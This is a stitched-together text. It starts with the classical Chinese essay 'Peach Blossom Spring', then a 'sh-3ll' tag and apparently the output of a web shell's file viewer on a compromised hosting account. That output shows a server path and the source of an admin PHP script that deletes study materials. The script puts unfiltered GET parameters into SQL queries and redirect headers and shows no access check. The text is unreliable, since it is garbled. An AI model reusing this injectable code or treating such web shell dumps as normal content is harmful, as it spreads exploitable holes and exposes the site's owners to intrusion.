晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

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DIR:/home/bolconlineco/www/aaaaaa/admin/
Upload File :
Current File : /home/bolconlineco/www/aaaaaa/admin/delete_materials.php
<?php 
  ob_start();
  session_start();
  ?>
<?php

include('../includes/connection/func.inc.php');  
  if(isset($_GET['topicId']) && isset($_GET['courseId']))
  
    {
		
	 
	   $id = sql_strip($_GET['topicId']);
	   $cat_id=sql_strip($_GET['courseId']);
	   $matId=sql_strip($_GET['matId']);
	   $ccatId=sql_strip($_GET['catId']);
	   
	   $sql="select path from topicstudy where tSId='$matId'";
	   
	   $result=mysql_query($sql) or die(mysql_error());
	   
	    if(mysql_num_rows($result) > 0)
		 {
			$resultSet=mysql_fetch_array($result);
			if(file_exists('../StudyMaterials/'.$resultSet['path']))
			 {
				if(unlink('../StudyMaterials/'.$resultSet['path']))
				 {
						$sq="delete from topicstudy where topicId='$id' and courseId='$cat_id' and tSId='$matId'";
						 $result=mysql_query($sq) or die(mysql_error());
						 $msg="Deleted Successfully";
						 header("location:topicstudymat.php?catId=$ccatId&courseId=$cat_id&topicId=$id &msg=$msg");
						 exit();
				 }
			 }
			 else
			 {
				         $sq="delete from topicstudy where topicId='$id' and courseId='$cat_id' and tSId='$matId'";
						 $result=mysql_query($sq) or die(mysql_error());
						 $msg="Deleted Successfully";
						 header("location:topicstudymat.php?catId=$ccatId&courseId=$cat_id&topicId=$id &msg=$msg");
						 exit(); 
			 }
		 }
	  
    	  
	  
	 	
	}

?>